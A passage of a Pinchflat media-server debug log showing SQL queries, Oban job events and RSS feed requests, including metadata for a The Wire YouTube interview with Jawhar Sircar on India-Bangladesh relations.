SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "40ef0c95-d60d-439e-ba2e-b9ae464229a6", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 16:07:56Z], ~U[2026-01-10 16:07:56Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 16:07:56.332 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=104.7ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 16:07:56Z], ~U[2026-01-10 16:07:56Z], 1] 16:07:56.334 [debug] QUERY OK source="media_items" db=1.0ms queue=0.7ms idle=103.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:07:56.338 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=59.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:07:56.369 [debug] QUERY OK source="media_items" db=31.1ms queue=0.1ms idle=59.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 16:07:56.378 [debug] QUERY OK source="tasks" db=2.3ms queue=0.1ms idle=41.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [87, 1, ~U[2026-01-10 16:07:56Z], ~U[2026-01-10 16:07:56Z]] 16:07:56.379 [info] {"args":{"id":1},"id":86,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":12758601,"event":"job:stop","queue_time":184115,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 16:07:56.664 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:07:58.251 [info] {"source":"oban","duration":19836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.291 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:28.253 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:58.257 [info] {"source":"oban","duration":2210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.292 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:09.721 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:09:09.721 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:09:09.749 [debug] QUERY OK source="sources" db=26.7ms queue=0.1ms idle=1689.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:09:09.750 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1717.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:09:09.754 [debug] QUERY OK source="source_metadata" db=2.9ms idle=816.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:09:09.777 [debug] QUERY OK source="media_metadata" db=21.9ms queue=0.1ms idle=723.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:09:09.778 [info] Sent 200 in 57ms 16:09:28.259 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:58.261 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.294 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:28.263 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:58.266 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.296 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:28.269 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:56.692 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:11:58.271 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.298 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:24.725 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:12:24.725 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:12:24.727 [debug] QUERY OK source="sources" db=0.7ms idle=1298.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:12:24.728 [debug] QUERY OK source="media_items" db=1.1ms idle=695.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:12:24.730 [debug] QUERY OK source="source_metadata" db=0.2ms queue=0.2ms idle=697.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:12:24.769 [debug] QUERY OK source="media_metadata" db=36.9ms queue=0.1ms idle=698.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:12:24.772 [info] Sent 200 in 47ms 16:12:28.273 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:58.276 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.299 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:28.279 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:58.282 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.301 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:08.320 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:14:08.320 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:14:08.322 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=616.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:14:08.324 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=290.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:14:08.326 [debug] QUERY OK source="source_metadata" db=0.3ms idle=293.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:14:08.327 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=294.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:14:08.359 [info] Sent 200 in 38ms 16:14:28.285 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:58.301 [info] {"source":"oban","duration":14004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.303 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:28.304 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:58.306 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.305 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:28.309 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:58.311 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.307 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:28.314 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:58.317 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:59.091 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:17:59.092 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:17:59.143 [debug] QUERY OK source="sources" db=49.5ms queue=0.1ms idle=1029.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:17:59.145 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=1080.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:17:59.192 [debug] QUERY OK source="source_metadata" db=0.8ms idle=1083.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:17:59.202 [debug] QUERY OK source="media_metadata" db=0.5ms queue=2.2ms idle=880.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:17:59.261 [info] Sent 200 in 168ms 16:18:00.308 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:28.321 [info] {"source":"oban","duration":2118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:55.090 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:18:55.091 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:18:55.093 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1028.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:18:55.094 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1030.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:18:55.096 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1032.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:18:55.097 [debug] QUERY OK source="media_metadata" db=0.4ms idle=541.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:18:55.097 [info] Sent 200 in 6ms 16:18:58.324 [info] {"source":"oban","duration":2128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.311 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:28.326 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:56.769 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:19:58.330 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.312 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:28.332 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:58.335 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.315 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:28.337 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:56.802 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:21:58.339 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.316 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:28.343 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:58.345 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.318 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:25.526 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:23:25.526 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:23:25.528 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=1456.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:23:25.530 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1458.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:23:25.533 [debug] QUERY OK source="source_metadata" db=0.6ms idle=1461.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", 